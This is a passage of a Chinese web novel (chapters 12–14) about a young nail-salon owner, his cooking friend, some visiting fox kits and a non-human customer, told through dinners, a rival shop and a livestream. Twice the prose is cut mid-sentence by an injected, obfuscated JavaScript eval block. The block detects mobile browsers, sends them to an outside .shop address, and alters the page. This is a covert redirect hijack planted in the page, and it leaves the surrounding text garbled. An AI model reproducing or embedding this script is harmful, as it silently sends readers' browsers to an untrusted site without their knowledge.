…就这些吧,全部打包。” 店员茫然:“?” 就这些吧? 店员心如死灰,好一个深渊巨口,双人春日约会秒变大胃王锦标赛是吧。 片刻后,奥德罗提着一大包甜品和宁知夏走出店门。 宁知夏觉得他浑身都快是甜甜的气息,忍不住问:“你好像很爱吃甜食?” “嗯。” 奥德罗点了点头,回想了一番说道,“以前没吃过。” “啊……原来是这样……” 怪不得对自己来自于哪个位面闭口不谈,一定是很闭塞很落后的地方,也不知道这人曾经过得有多苦。 宁知夏张了张嘴,对他突然产生了点怜爱,但还是忍不住说,“那你也要注意节制啊,吃多了会发胖的。” 奥德罗挑眉:“没关系,运动量大。” “……行吧。” 宁知夏抓抓头发,等走到19号院墙外时,纠结片刻还是谈起了关于金大婶走运的事,“那个……假如没有小狐狸们干涉,金大婶很难得到惩罚?” “你们位面讲究运势,她再好的运势也耗得差不多了。” 奥德罗眨眨眼,“至于以后,你很快就会知道。” 宁知夏瞅着他:“知道吗,你现在的语气让你看起来像个神棍,还是一个洋鬼子神棍。” 奥德罗:“上班时间,需要符合你们这里的调性。” “唔,当什么谜语人嘛……” 宁知夏听得迷糊,但对方没有再聊下去的意思,提着一大袋甜品跟赶集结束似的慢悠悠离开。 这时,曲半青极具穿透力的声音从屋里传来。 “宁知夏你去哪儿了,快点蹿回来吃饭!” 曲半青穿着熊猫围裙,在门口挥舞手里的锅铲召唤,“啰啰啰啰啰……” 什么,开饭啦! 宁知夏不再多想,屁颠屁颠快乐小跑:“来咯来咯!” 账号澄清之后,不少路人点赞蹲个后续,没过几天,宁知夏就知道谜语小奥是什么意思了。 如奥德罗所言,清溪路其他店的老板得知宁知夏店里的恶评被删后,一起列了这位大婶的白嫖清单,可惜金额不大,警局也是口头教育不了了之。 然而似乎有人气不过,将这些事爆料给地方媒体,很快就有记者找上门,大婶整天门也不敢出,儿子儿媳跟着面上无光,觉得她整日捂住耳朵神神叨叨,干脆把她送回了老家不闻不问。 这件恶评风波结束,暖心的粉丝们留言一起跨火盆。 “我就说嘛,怎么可能口口声声说过敏又拿不出证据,铁定是白嫖怪!” “那个香膏真的很好闻,我消费没有满五百,不过宁老板每次美甲结束后都会给我抹!” “留香很持久,第二天手腕都是香香的!” “不要再说价格问题了,店铺有价目表,在余城不算高,成品真的对得起价格!” “[图片]不知道是不是玄学,我做的干花美甲选的都是金色花花,最近财运莫名其妙有点好!” “姐妹这就是指定来财吗!下次我也做一个! 吃瓜贴瞬间变成各种美甲返图贴,吸引了不少人关注店铺,一时间干花系列美甲备受好评,尤其是金色干花的人气快速飙升。 店里这下可热闹起来,白天预约全满,晚上那会儿偶尔又有苏秋水带大妖过来消费,宁知夏和曲半青算完账,这半个月并不算累,居然就营业五六万。 两人搂着一起喜极而泣,势必要用自己赚来的钱感受一下纸醉金迷。 宁知夏拍桌:“以后天天吃KFC就周四不去!” 曲半青也随一个:“老子以后开会员不关自动扣费!” 两人嚣张齐声:“咩嘎嘎嘎嘎嘎——” 12. 猪脚饭 宁知夏分了说好的一份利润给曲半青,余下的自己存好。也就一个多月,算上从前的存款和奥德罗给的奖金,账户里也有近四十万,他思来想去,决定买辆SUV电车。 现在正好碰上车价下跌,宁知夏去4s店谈好了保险和车价总共花了快二十万。 提车回来时曲半青在副驾一会儿怒斥不带头盔乱窜的摩托车,一会儿阴阳乱插位的公交,整个人气势如虹忙得不可开交。 宁知夏在停稳后,迫不及待地问:“怎么样?有没有推背感?” 曲半青拧开保温杯喝水润喉:“你是指给大老爷推轮椅的推背感吗?” “……呜呜。” 宁知夏解开安全带,伤心地从宝宝巴士下来。 清溪路有地下车库,一个月三百不算贵,等到要上牌时,宁知夏让车管所邮寄到家,自己拿螺丝刀蹲地上哼哧哼哧扭固封。 完事后刚从车库出来往小独栋走,街道又飘起了小雨。 屋院门口,一群小猫蹲坐在龟背竹叶底下,雨声啪嗒啪嗒落在叶片,勾得几个小脑袋扭来扭去地好奇张望。 宁知夏咧嘴一笑,三步并作两步跳到屋檐下,朝它们呼噜沾在自己头发的小水珠,气得小猫们边躲边张牙舞爪地用爪垫拍他裤腿。 “哟,完事了?正好来洗手吃饭!” 曲半青怀里抱了罐泡菜坛,正准备挪进厨房阴凉的角落。 “好哦!” 宁知夏答应了一声,挂着一身小猫进屋关门。 厨房显然已经是曲半青的天下,餐具也跟着大换血,什么南瓜铸铁锅,铃兰花瓷盘,小猫小熊陶瓷碗……各种器具摆件精巧得不行,每天都是不一样的花样。 他和宁知夏一样,从小就喜欢可爱精巧的物件,因为这些爱好,没少被班上的男孩挤兑。 宁知夏知道今晚吃猪脚饭,不过揭开锅盖看见泡在卤汁里的两个酱红大猪肘,还是愕然道:“这么多?咱们吃不完吧!” 曲半青把自己的兔兔围裙解开,幽幽道:“你忘了还有几个蹭饭崽吗?” 话音刚落,屋子里很快响起了敲门声,狐狸崽们嘤嘤呜呜在外面叫喊。 “宁哥哥,曲哥哥开门呀!我们闻见香香的味道啦!” 宁知夏忍不住感慨还好狐狸崽们够礼貌可爱,要是换成别的什么凶神恶煞的非人之物,开门就跟开罐头似的。 “噜噜噜……” 小狐狸们挨个蹿进来,抱起探头的猫猫碰了碰鼻子,随后目标明确地围在了茶几周围。 因为没有另外买饭桌,吃饭都在茶几解决,坐的自然也是小板凳或者坐垫,不过这样也更舒适随意。 刚一坐好,曲半青就端着几个盘子过来放下,里面装着香喷喷的猪脚饭。 他把宁知夏也踹进狐狸堆里,叉着腰看着大家吸溜不停的馋鬼模样,满意地点点头,瞬间成就感爆棚。 大猪肘在卤汁里炖了三小时,中间的大骨轻轻一抽就掉,外皮油润软糯,刀锋一破就裂开,里面的瘦肉看着还结实,实际上勺子一戳就能软烂成肉屑。 曲半青每盘都是半肥半瘦剁碎铺在米饭上,还特意淋了层卤汁方便拌饭,没准备卤蛋,但是拨开米饭,里面还盖了块完整的猪蹄肉。 宁知夏把冰可乐放他面前,低头一看,不由乐道:“哟,四点金你都买到了!” “当然,我现在和菜市场的摊主混得可熟了。”曲半青咕咚咕咚灌了口可乐,有点得意地炫耀。 不管是卖土鸡土鸭的农村大娘还是各类肉摊菜摊,都已经被他轻松搞定。 “什么嘛。”宁知夏不服气,“我的人脉也很厉害啊!” 曲半青:“我说的是‘人’脉,你的呢?” “……” 宁知夏沉默半晌,埋头叼住盘子里的四点金。 四点金是介于猪蹄和猪大腿之间的黄金部位,外皮软糯不腻,两根小骨连着弹牙的蹄筋,哪怕是外面的猪脚饭店,每天也是限量供应。 为了解腻,一般猪脚饭里都配有炒白菜和酸菜丝,曲半青没弄这些,不过准备了跳水萝卜,四四方方刚好一口一个,酸甜爽辣解腻得很。 狐狸崽们吃得耳朵都在发力,摇个不停的尾巴快成了自动逗猫棒,嗦了下油腻腻的手指头,歪着脑袋在曲半青和宁知夏身边亲昵地蹭蹭,又埋头沉浸式享受晚餐。 “唔……”宁知夏满嘴是油,握住勺子哐哐炫饭,含糊不清地说,“好*%+@想天天?=%!*” “吾儿,咱别边吃边说行吗?”曲半青扶着他脑袋转另一边,“你嘴巴现在就像架快发射的大炮。” 宁知夏嚼嚼:“因为太好吃嘛,还好以后都能吃到你做的饭。” 他一向挑嘴,还记得初中时因为食堂太难吃,两人偷摸从后门栏杆中间挤出去买饭,结果被卡在中央哇哇大哭。 老师和保安又是打电话喊人又是去库房找工具,班主任怕他们觉得社死还一直安慰,结果两人泪眼婆娑地问:“老师,能不能帮我们去对面买份猪脚饭?” 大概是过程艰难坎坷,那顿饭吃得无比美味,直接燃起曲半青对厨艺的追求,从厨房破坏狂到五星厨神,宁知夏作为试吃员深有体会。 曲半青听他回忆往昔,微怔道:“这你都还记得?” 宁知夏蹙眉:“怎么会不记得!” 曲半青有点感动:“吾儿……” 宁知夏抿着小嘴,抬头瞅他一眼,低声念叨,“当时你还抢了我半个卤蛋……” “……” 曲半青愤愤地往他盘子里放了块四点金,“赔你,给老子吃吧啰啰啰……” 吃饱喝足后,宁知夏去厨房洗了碗,回客厅看见狐狸崽们人手一只尊老爱幼的猫猫,挤在曲半青身边看他打游戏。 曲半青不招麻将小队待见,倒是和这群崽崽相处得不错。 宁知夏游戏技术稀烂,坐过去用平板随手画点小图打发时间,毕竟因为19号的缘故,每天平白无故多出三小时,可以做好多事。 他画了一会儿,抬头瞧见桌边的计时沙漏,故作漫不经心地提醒:“通道好像要关闭了哦。” 四个脑袋慢吞吞地转过来,溜圆的眼睛里盛满水光:“宁哥哥是要赶我们走吗?对不起上次让你担心了,都是我们不好,请不要嫌弃狐狐呢……” 宁知夏慌忙摆手:“我、不是…也没、没有…” 白竹眨巴着湿漉漉的眼睛:“那可以收留我们一晚吗?” “行……吧。”宁知夏讷讷答应。 他低头看着平板里的图画,默不作声地把狐狸的白毛涂成#C60D180。 拿到留宿特权,狐狸们撒欢似的玩闹一通,到了晚上睡觉时间,宁知夏身上盘了一圈变回原型的狐狸崽,上楼回屋洗漱。 四只小狐狸挨个排好队,乖乖地让宁知夏用半干的毛巾擦爪垫。 这是他们第一次进入人类的卧室,兴奋地叽叽喳喳来回转悠,最后瞄准房间中央的大床,一窝蜂地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719040|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹦上去打滚。 宁知夏随他们闹腾,去房间里的浴室洗了个澡,吹头发时,门被开了个缝,精致的小瓷罐被一只毛爪子推进来。 宁知夏好奇问道:“这啥?香膏吗?” “嗯嗯!改良版!”白竹在门外用新学的词汇,摇着尾巴说,“加了花汁凝露还有隔壁山头的药草,身体抹了也香香滑滑!给宁哥哥试用哒!” 宁知夏笑道:“所以我还得给你反馈使用感?” 白竹点点脑袋:“没错!” “你还真是块当妖山CEO的料……” 宁知夏嘀咕着,还是把小瓷罐拧开,凑近闻了闻,觉着香味比之前的还好闻。 他已经穿好了衣服懒得再脱,掀起睡衣下摆叼嘴里,挖了一坨膏体在身上来回抹,抹到最后手心还有残留,干脆往屁股蛋子上也抹抹。 浴室里的水雾渐渐散去,映在镜子里的青年腰细腿长,腹部的薄肌刚刚好,尤其是被香膏2.0涂抹的部位,甩个巴掌都能颤两下。 宁知夏对自己的身材也挺满意,嘚瑟地对镜子哼哼两声,然后拉开门助跑上前,像个跑弹似的弹射起飞,精准降落在柔软的大床中央。 狐狸崽们猝不及防地玩了次蹦蹦床。 这时候宁知夏还不困,给狐狸们开了电视,自己拿了本漫画在床上趴着看。 毫无防备的青年一下子成了大玩具,不少爪垫在他身上踩来踩去,调皮些的直接蹦起来像捕猎似的把吻部往他颈窝一戳,眯着眼拱两下又颠颠跑开。 反正这些家伙也没几斤重,宁知夏任由他们折腾,有来有往地抓住两只崽放自己身边,不客气地使唤:“来捏捏肩。” “好哦!” 狐狸崽们自然愿意,爪垫一轻一重地按压不停,像是对青年有天然的好感,伺候人按摩都开心得摇尾巴。 遥控器被不小心啪啪按了几下,电视屏幕里光影晃动,响起一道磁性男声—— “春天到了,万物复苏,转眼又到了繁殖的季节,雄性赤狐正对遇见的心上狐发出尖锐的叫声……” 狐狸崽们顿时扭头看去,小嘴不由自主地微张。 背上爪垫按压的速度越来越慢,宁知夏扭头看了一圈,精确从白竹肚皮底下捞起遥控器,用手指一戳—— “啪!” 换台。 第二天一早,噼里啪啦的电子炮竹震天响,宁知夏裹着毛毯被惊醒,刚睁眼就滚下床摔了个脸着地。 他龇牙咧嘴地爬起来一看,狐狸崽们霸占了大半张床,一个个要么抱着尾巴睡得四仰八叉,要么就瘫成狐皮,外面吵闹得不行,他们倒是无所谓,用后爪蹬了蹬耳朵,翻个身继续睡。 宁知夏打个哈欠开门出去,刚好碰上顶着鸡窝头的曲半青。 “干啥呢,一大早就放炮。” 两人睡眼惺忪地下楼晃到门口,窗户边已经蹲满了看热闹的小猫。 街对面新开不久的头疗店是家夫妻店,这会儿热火朝天地挂横幅摆花篮,摆出的活动告示写着新增快捷美甲服务,围了不少看热闹办卡的群众。 宁知夏看得傻眼,和猫猫们蹲坐在门口台阶。 “靠,那边好几个女士都是咱们的老客,前两天还说要预约做指甲呢……”曲半青一屁股跟着坐下来,惆怅得直叹气。 宁知夏默了下,拍拍他的肩膀安慰:“做我们这行的,最忌讳对客人动感情……” 曲半青:“……” 有点更悲凉的感觉了呢。 13. 欲望 叹气归叹气,饭还是得吃。 曲半青偷懒没做饭,两人见时间还早,转去附近的小街找了个早餐摊。 菜稀饭一碗只要三块钱,长桌摆了二十来个大公鸡瓷碗,什么土豆丝、凉拌藕丁、泡豇豆炒蛋碎还有橄榄菜……各种装着堆冒尖的配菜随便吃。 他们两一人买了碗稀饭,再加个泡入味的茶叶蛋吃得很过瘾,回去时顺道在卤味店买了十来个大鸡腿带回去给狐狸崽。 宁知夏有点纠结:“你说老是给他们吃这些,会不会掉毛呀?” “掉也没关系。”曲半青主打的就是物尽其用,“正好我在做羊毛毡……” 宁知夏强烈谴责:“恶毒后妈!” 曲半青冷哼一声,扭头就往另一个方向走。 宁知夏喊道:“你干啥去?” 曲半青头也不回地说:“去超市给宁啰啰买猪食去!” “哼哼!” 宁知夏耸了耸鼻子,提着大鸡腿往回走。 这些狐狸崽玩得太晚,现在还睡得昏天黑地,宁知夏把鸡腿放屋里,交代他们白天别下楼,回应他的只有几根海草般立起来摆动的尾巴。 有客人约了上午过来做美甲,宁知夏顾不上挼尾巴,下楼把大门敞开顺道浇浇花。 他眼神不错,隔着马路就看见刚才车里下来的客人,正想挥手招呼,头疗店里蹦出个人满脸堆笑地迎上去。 “哎呀张姐是要做指甲吧?你太久没来都不知道,咱们这儿也能做了!” 头疗店的老板娘亲热地拉着快上门的客人,瞥了一眼愣神的青年,冲客人挤挤眼,“只要88,什么款式任你选,什么建构啊护理啊都是坑你钱的,完事也能顺带洗个脸做个头疗多省事呐!” 张姐显然经不得各种优惠活动的诱惑,半推半就地跟着老板娘进去,没过几秒,宁知夏就收到了取消预约的道歉信息。 “唔……” 宁知夏低头看完消息,闷闷地踹开脚边的小石子。 客人愿意去别的店是他们的自由,好在两家店主打方向不同,有不少年轻客人还是喜欢来怪物美甲店,生意影响不大。 不过那对夫妻踩一捧一的招揽方式还是在心里添了个疙瘩。 “切,什么头疗店,有什么好嘚瑟的。” 宁知夏嘴里叼着根巧克力棒,神情认真地跟着平板里的视频摆弄面前的头模。 “头维到百会穴……轻重轻……嚯,简简单单!”宁知夏表示一看就会。 粹亮的日光在房间角落洒下层叠光影,明亮到晃眼,宁知夏正揉得起劲,下手跟揉面团似的极具力度。 忽而光束渐弱,他只当是小猫们挤到了窗台,停下动作偏头看去,视野里闯入意料之外的来客。 奥德罗惬意地倚靠在窗前,身旁倾泻的吊兰在春风中拂荡,有几根枝条窸窸窣窣摇晃过来,他享受地眯起眼睛,指尖拨弄着缠绕在手指的叶片。 察觉到落在身上的目光,奥德罗偏过头,浅蓝的瞳孔跟着移向他。 宁知夏诧异道:“你怎么在这儿?” 居然一点动静都没有,都不知道是什么时候来的。 奥德罗举了举手里的精致蛋糕盒。 比起上次,他倒是大方很多,因为他现在的注意力都被宁知夏面前的头模吸引,打量片刻忽然问道:“这什么?” “头模。” 宁知夏玩皮球似的拍拍,乐呵呵道,“我在练习做头疗!” 奥德罗似懂非懂地点点头,又问,“舒服吗?” “还行。” 话都说到这份儿上,宁知夏问,“你来试试不?” 奥德罗欣然答应,转身推开半掩的房门进屋,慢悠悠来到宁知夏身边。 他垂下眼,目光落在被青年抱在膝上的头模,俯身戳了戳,侧过脸问:“我也躺你腿上?” 想得美。 “那是另外的价钱。”宁知夏朝工作台对面的躺椅指了指,“去那儿。” 电动可折叠的沙发躺椅,价格不便宜,当初装修时由老宁赞助,一买就买了俩,还有一个放在楼上的书架旁。 奥德罗显然对这类舒适度极高的家具很满意,闻言主动过去躺下。 宁知夏屁股用力,挪动着座椅的滚轮滋溜一滑,稳稳地停在躺椅背后,他一边躺椅调整高度,一边再见缝插针地瞄两眼手机里播放的教程。 教程里说,头疗一定需要让客人处于身心都愉悦放松的氛围之中。 哈,小事一桩。 宁知夏很懂如何放松,自信满满地拿出平板在屏幕划拉。 很快,房间里充斥起黄色方块的魔性笑声—— “啊哈哈哈派大星我们一起去抓水母吧!” “……?” 奥德罗刚闭上的双眼缓缓睁开。 “要闭眼感受哦。” 宁知夏很严格地按照教程的步骤,手心覆盖住奥德罗那双漂亮又略带困惑的眼睛,然后往下一抹。 嗯。闭上了。 宁知夏满意地点点头。 因为躺椅过于舒适,奥德罗决定忽略对方一些莫名其妙的小动作,放松地仍有那双手在头顶按来按去。 银灰色的长发顺滑冰凉,一丝一缕从手缝穿梭而过,在日光下反射出淡淡的光晕。即使是再频繁地出入美发沙龙,恐怕也护理不出这种发质。 宁知夏的指腹渐渐转移阵地,捡起披散在枕边的发丝捏了捏。 “你走神了。” 手腕倏地被一只大手攥住,猝不及防的冰凉触感让宁知夏错愕地低下头。 不知何时,奥德罗已经睁开眼,浅色的瞳孔没有任何情绪,就这样静静注视着他。 “唔,抱歉……” 宁知夏被抓包,心脏都跳漏一拍,赶紧跟上教程按压穴位步骤,小声为自己的错误找借口,“因为你居然连头发都冰冰凉凉的,太舒服了我没忍住呀。” “很正常。” 他的指腹贴在青年手腕,偏头看了眼,松开手说道,“因为我不是人类。” 是哦,好有道理。 宁知夏嘀咕:“我都差点忘了。” 奥德罗笑了一下,一瞬不瞬地凝视着他,忽的轻声问道:“经常和非人之物待在一起,不怕吗?” “怕什么怕,这都多久了,我感觉我的精神阈值已经刷得很高了。”宁知夏眉眼弯弯,一派轻松模样,继续专心地在奥德罗头顶戳戳按按。 他像模像样地问:“这个力度合适吗?要不要重一点呐?” 奥德罗配合地说:“要吧。” “好哦!你继续闭眼吧。要沉浸式感受!” 宁知夏气势十足,侧过脸去拨弄教程视频的进度条。 然而,奥德罗这次没有听话。 对方纤细紧致的脖颈随动作毫无防备的展露,在日光照射下甚至能看清皮肤下青蓝色的血管线条,他很难再转移注意力。 片刻后,奥德罗忽然抬手,伸向青年光洁没有任何遮掩的喉间,随着呼吸的起伏,微微凸起的喉结贴在指尖滑动。 脆弱,毫无力量可言。 他甚至能想象得到,如果破开这层薄薄的皮肤会发生什么。 就像水底游荡的小鱼,只稍轻轻拨弄指尖,就可以轻而易举地穿透它们的腮,顺着鱼鳍连皮带骨地利落刨开,破碎的鱼鳞在水中飘舞,像是沾满血腥味的漂亮宝石。 如果自己这样做,面前这个傻乐的青年会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719041|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样? 基因里恶劣的本能让奥德罗有点蠢蠢欲动,指尖如描摹一般沿着皮肤轻柔滑弄,又停驻在喉结,轻点两下。 他眯着眼思索脑子里涌现的各种古怪想法,但他暂时还分不清,这份新奇的温热触感所带来的感受到底是什么。 指尖在青年的脖颈停驻太久,宁知夏疑惑地问:“干啥?” 奥德罗眼底闪烁着最纯粹的好奇,嗓音很轻地问:“这样也不怕吗?” “怕。”宁知夏捂住脖子后仰,可劲儿搓了搓,“因为好痒!” 奥德罗仰头看了他一会儿,有点失望地收回手。 宁知夏看着不配合的客人,语气责备道:“你再乱动,我就把你的蛋糕吃掉!” 奥德罗眨了眨眼:“好凶啊,老板。” “就凶,我外号可是零食终结者,小心点吧你!”宁知夏摆正他的脑袋,活动手腕继续按压。 刚刚按到哪儿来着了? 算了,重头再来一次! 头疗教程的进度条被来来回回拨动了好几次,宁知夏甩甩手,最后再在人家丝绸般顺滑的长发摸一把,扬声道:“完事啦!” 他迫不及待地问道:“你感觉怎么样?” “挺舒服的。”奥德罗起身,从包装盒里分了块草莓芝士蛋糕留在桌上,自己又回到了躺椅懒洋洋地躺下。 宁知夏暗戳戳地翘起唇角,都愿意分享限量口味的小蛋糕,那绝对是很满意了。 “对了。” 奥德罗拿过平板,划拉着还停有海绵方块的界面,“19号最近能量吸取了不少,可能过两天就会连接新的位面。” 宁知夏怔了怔:“真的吗?是什么类型的位面?” 奥德罗头也不抬:“你猜。” “我才不猜。”宁知夏噘嘴,“反正到时候就知道了。” 他拿过桌上的小蛋糕啃了两口,发现奥德罗还粘在躺椅上看平板,疑惑道:“你今天不急着走了吗?” “不。” 奥德罗手指往屏幕一戳,比奇堡欢快的片头曲再次响起。 他惬意地说道,“再看一集。” 宁知夏默了下,端着凳子挤过去—— 我也要看! 晚上吃完饭,宁知夏经过白天的练习,觉得自己强得可怕,站在沙发叉腰宣布要增加头疗项目。 曲半青一脚蹬在他屁股,把人给踹下去:“别想了,那对夫妻没皮没脸的,你这点把戏才恶心不到人家。” “呜呜呜不嘛,让我搞嘛!他们头疗店搞美甲,我们为什么不能搞头疗!呜呜哇哇我好咽不下这口气哇!” 宁知夏四仰八叉躺在沙发扑腾,蹬着方形靠垫在脚板转个不停。 “别赌气呐。” 曲半青眉头直跳,看他就像在看个无理取闹的叛逆期小孩,扶额道,“咱都没有考过证。” “没关系,考就是了!”宁知夏一脚把靠垫踢开,有点小得意地同他炫耀,“我还给奥德罗试验过,他夸我技术可好啦!” 说着他把头模抱过来,哼哧哼哧地按了一遍给曲半青展示自己的绝佳手法。 硅胶头模一压一个窝,十大酷刑也不过如此。 曲半青深吸一口气:“阿宁,收手吧。” 头模罪不至此。 宁知夏委屈巴巴:“我做的不好吗?可是奥德罗说……” 曲半青摸着他脑袋怜爱道:“蠢儿砸,他都不是人,哪来的参考价值?” “……!” 宁知夏浑身一僵,迷惘地眨了眨眼。 沉重的现实摆在面前,宁知夏顿时像条失去梦想的菜青虫,瘫软无力地趴在沙发拱了拱。 呜呜,已老实。 14. 新客人 这天一早,头疗店又在热火朝天的搞美甲头疗联合套餐卡的优惠活动。 宁知夏的PH值在昨晚吃了碗炸蛋螺蛳粉后已经恢复正常,此时正乐颠颠地拆开刚送上门的一堆快递。 “哦哦哦哦这个到了!” 心惊胆战大半月,漂洋过海的精神食粮居然顺利收到。 宁知夏眉开眼笑激动得心颤,扛着一个沉甸甸的纸箱上楼,一个不留神绊了个跟头,箱子里十来本花花绿绿的脆皮鸭文学腾空而起。 宁知夏惊慌:“我的巨著!” 噼里啪啦! 曲半青像开了闪现般灵活躲开,低头只看了一眼,啧啧摇头:“污秽呀。” 宁知夏趴倒在地,朝他愤愤摊手:“请纯洁的你,给我展示你纯洁的浏览器。” “……” 曲半青默了一下,端着茶杯优雅地转身下楼,“失陪。” 宁知夏:“哼。” 他爬起来把宝贵的精神食粮捡起来,饭啊,都是香喷喷还需细品回味的饭啊! 刚捡起来还没扒拉几口,楼下又传来曲半青的声音—— “宁啰啰,阿姨给你寄快递了!” “你拆开吧。”宁知夏想了想,“好像是她寄来的草药安眠枕!” 宁知夏的母亲路女士在滇城开了家生意不错的民宿,经常会寄一些手工制作的家居礼物过来。 “原来是安眠枕啊……” 曲半青拆开箱子后奇怪地“咦”了一声,“这么多?有四个呢!” “因为我给她说了你回余城了。”宁知夏已经盘腿团进了懒人沙发,安详地翻动书页,扬声道,“多的一对是给你哒!” “啊?” 曲半青有点诧异,低头看去,手上的安眠枕还绣着可爱的小蝴蝶纹样,和小时候去宁知夏家过夜时穿的卡通睡衣图案很像。 他摸着小蝴蝶,嘴唇动动,垂着脑袋嘀咕,“阿姨还记得我啊……” 宁知夏应声:“记得,怎么不记得啦!” “嘿嘿…嘿嘿……”曲半青爱惜地蹭蹭枕头,抱住它转了个圈,垂眼笑着喃喃,“真好看。” “当然啦,妈妈的手艺一级棒。” 宁知夏又翻动一张书页,眼睛霎时绽放灼灼光彩。 “嘻嘻嘻嘎嘎嘎……” 他猛地合上书,在沙发里像条毛毛虫般扭了两圈,缓和几秒后,又露出大口吃饭就是爽的表情,珍惜地翻到刚才剧情的前一页细品,顺便捞一块桌边的麦香鸡块放嘴里嚼吧。 几只好奇小猫闻声而来,蹬腿蹦跶来到沙发上,围在宁知夏身边探头探脑。 “诶,未成年小猫不可以看。”宁知夏偏头把它们的小脑袋拱开。 小猫们表现得很听话,细声细气地“喵喵”两声,爪垫一轻一重地踩在主人腿上开花,宁知夏舒服地呼出口气,又翻了一页书。 像辆半挂似的胖橘从它们中间挤开,Duang的一声摊在沙发边绷成条弯弓似的弧线,余光瞄向散发香味的小盒子。 霎时间,宁知夏只觉眼前一道黄影蹿过,像打响什么信号似的,拿着鸡块的手也被几只毛爪子紧紧抱住。 “南村坏猫休想欺我老无力!” 宁知夏瞬时反应过来,眼疾手快地捞住胖橘和打配合的小猫,把它们放回腿上。 胖橘不服气地跑开,盘尾蹲坐在地,艰难地扭过身舔舐翘起的毛毛。 宁知夏冷哼一声,眯着眼拍腿说道:“想加餐就要干活,你们滴,明白?” “喵——” 小猫们晃动尾巴叫唤一声,排着队挨个和他碰头头。 胖橘见小弟们叛变,不停地颤动耳朵,谄媚地咪咪叫着朝宁知夏扑去—— “凸!” 气焰嚣张的宁扒皮被橘色大半挂撞得两眼发黑,脖子一歪,瘫在沙发吐舌头。 与毛球们玩闹没多久,曲半青就在楼下喊着有预约的客人到了。 宁知夏记得今天鹿瑶光说要过来做新款式,赶紧挂着一身猫崽下楼。 “哈喽!” 鹿瑶光穿着漂亮小裙子,元气满满地和他打招呼,举了举手持支架示意,“我最近直播时长不够嘿嘿……介意我待会儿也开直播吗?” “没事你拍吧。” 宁知夏并不介意,取出口罩戴好,帮她找个放支架的地方。 因为直播镜头又要取角度又要找光线,宁知夏看向窗边的躺椅,灵机一动道,“要不你去躺着,我移个小茶几来旁边。” “也行啊!”这可比坐着舒服多了。 鹿瑶光眉开眼笑地窝进躺椅,给自己腿上盖了层软毯,刚惬意地往后靠好,就见曲半青端着果汁放到扶手旁的托盘上。 待会儿想拿杯子可不方便,曲半青想了想,把好几根吸管怼起来一路延伸,贴心地戳到鹿瑶光嘴边。 他问道:“感觉如何?” “……挺安详的。”鹿瑶光咬住吸管吸溜,有种当废人的绝佳体验。 “打磨机,调胶本,光疗灯……”宁知夏就像上学前认真检查书包的小学生,坐在小板凳挨个完清点工具开始给她卸甲。 鹿瑶光也在这时,咬着吸管照常开启了直播。 一张妆容精致的漂亮脸蛋用鼻孔怼人的角度闯入镜头,收到开播通知而来的粉丝硬是被猝不及防地哽了一下。 好惊奇的直播角度! “哎呀,不是在家,我出来做美甲啦!” “今天做一款法式就好。” “店里有躺椅哦,软绵绵的还能调角度,比坐板凳舒服!” 鹿瑶光悠闲地和粉丝们聊了一阵,侧过眼见宁知夏已经卸完甲,于是将镜头稍稍往他的方向转去。 镜头里冒出的黑发美甲师毫无察觉,半张脸被口罩遮挡,周围自然光晕中细尘浮动,纤细的眼睫投落一扇分明阴影,连颤都没颤一下,神情专注地忙着手上的动作。 直播间的观众们觉得有些不可置信,美甲师居然是个男生,静默片刻,弹幕欢乐地刷个不停。 “噫!原来是个弟弟呀!” “有钱真好,等我有钱了,给在座的姐妹一人发个爱豆级别的弟弟做美甲!” “都遮了半张脸你们怎么知道长得好看?” “有时候帅是一种氛围知道伐?” “看他坐下来的高度,可能有179吧?” 宁知夏抬起头让鹿瑶光照灯,眉眼正好直直地对上镜头,观众猝不及防被那双精致眉眼看得心神一颤,正要准备夸夸时,他精准地抓住了条弹幕倏地眯起眼凑近。 “我穿鞋180!”宁知夏言之凿凿,“世界上不存在179的男生!” 鹿瑶光发出嘎嘎笑音,被宁知夏扭头气凶凶地瞪了一眼后,憋着笑将镜头朝下移。 这下观众们的注意力瞬时转移到了鹿瑶光的指甲。 法式美甲已经是常见的经典款式,但实际上看起来简单,想要一气呵成并且保证每个指甲的法式弧度、粗细都完全一样并不是件易事。 许多美甲师也想出许多办法减轻操作难度,比如用现成的法式贴,又或是怼涂了甲油的印章,最简单的就是单个画好照灯后再进行下一个绘制,这样耗时耗力的操作下来,也成了不少强迫症美甲师的噩梦。 然而宁知夏速度快得像开了倍速,观众们仿佛见鬼一般,看着流畅的线条在他手下一笔成形,屏幕里直接空屏了十来秒,评论才像反应过来般喷涌而出。 “靠,他手肘都是悬空的!” “舒服了,有种憋了口气一次性呼出去的感觉!” “这个老师的手太稳了,而且是直接画完一只手才照灯诶!” “我也喜欢这样!频繁照灯要不停换手感觉好麻烦!” “快快快,小鹿把镜头拉近一点吧!” 这次的款式是用裸色打底再做的高位法式,填涂部分宁知夏调和了好几种,尝试后选了偏桔梗紫的甲油铺满指尖,再黑色弧线勾边描画,比起上次春花灿烂的风格增添了几分成年女性的性感精致。 鹿瑶光很相信他的审美,都忘了自己才是直播的主角,与自己的粉丝们一起看得起劲。 找不到人陪玩的小猫们无所事事地转悠了圈,悠哉悠哉地来到躺椅边。 “喵喵!” 鹿瑶光“咦”了一声,低头看去,几只小猫歪头正打量着自己,前爪试探性地在地面踩压,忽然颤动耳朵,蹬腿窜了上来。 